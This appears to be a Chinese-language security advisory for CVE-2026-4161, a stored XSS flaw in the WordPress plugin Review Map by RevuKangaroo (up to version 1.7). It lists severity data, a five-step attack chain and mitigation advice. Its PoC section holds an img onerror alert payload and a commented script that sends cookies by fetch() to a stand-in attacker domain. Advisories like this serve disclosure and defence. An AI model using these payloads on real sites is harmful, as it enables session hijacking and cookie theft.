CVE-2026-4161 CVSS 4.4 中危

CVE-2026-4161: WordPress插件Review Map存储型XSS漏洞

披露日期: 2026-03-21

来源: [email protected]

漏洞信息

漏洞编号

CVE-2026-4161

漏洞类型

存储型跨站脚本攻击 (Stored XSS)

CVSS评分

4.4 中危

攻击向量

网络 (AV:N)

认证要求

高权限 (PR:H)

用户交互

无需交互 (UI:N)

影响产品

Review Map by RevuKangaroo (WordPress Plugin)

漏洞概述

WordPress插件Review Map by RevuKangaroo在1.7及之前版本存在存储型XSS漏洞。由于插件设置缺乏输入清理和输出转义，具有管理员权限的攻击者可注入恶意脚本，影响多站点或禁用unfiltered_html的站点。

技术细节

该漏洞源于WordPress插件Review Map by RevuKangaroo在处理后台设置数据时，未对用户提交的输入实施充分的输入净化和输出转义机制。攻击者需拥有管理员或更高权限，通过向受影响的插件设置字段（如地图配置或API密钥字段）注入恶意的JavaScript代码或HTML标签。尽管WordPress默认赋予管理员unfiltered_html权限，但在多站点安装环境或已禁用该特定权限的配置中，此存储型XSS漏洞可被利用。恶意脚本一旦存储在数据库中，当管理员访问相关管理页面时便会自动触发，可能导致会话劫持或管理权限提升。

攻击链分析

STEP 1

步骤1

攻击者获取目标WordPress站点的管理员级别账户凭证（通过钓鱼、暴力破解或其他手段）。

STEP 2

步骤2

攻击者登录后台，导航至Review Map by RevuKangaroo插件的设置页面。

STEP 3

步骤3

攻击者在存在漏洞的设置字段中注入恶意JavaScript载荷，并保存设置。

STEP 4

步骤4

由于缺乏输出转义，恶意载荷被持久化存储在数据库中。

STEP 5

步骤5

当管理员或其他用户访问包含该设置的页面时，恶意脚本在浏览器中执行，完成攻击。

PoC / 利用代码

⚠️ 仅供安全研究

以下代码仅用于安全研究和授权测试，未经授权使用属于违法行为。

PoC

<!--
Proof of Concept (PoC) for CVE-2026-4161
Vulnerable Parameter: Plugin Settings (e.g., Map API Key or Description)
-->

<!--
Step 1: Inject the following payload into the vulnerable plugin setting field.
Payload uses an img tag with onerror to execute JavaScript.
-->
<img src=x onerror=alert('CVE-2026-4161_Stored_XSS')>

<!--
Alternatively, a more stealthy payload to steal cookies:
<script>
fetch('https://attacker-controlled-domain.com/log?c='+document.cookie);
</script>
-->

影响范围

Review Map by RevuKangaroo <= 1.7

防御指南

临时缓解措施

如果无法立即升级插件，建议暂时禁用Review Map by RevuKangaroo插件。对于必须使用的场景，应限制对插件设置页面的访问，并仅在受信任的内网环境中进行配置。建议站点管理员检查系统日志，确认是否存在异常的插件配置修改记录。

参考链接

快速导航: 前沿安全最新收录域名列表最新威胁情报列表最新网站排名列表最新工具资源列表最新CVE漏洞列表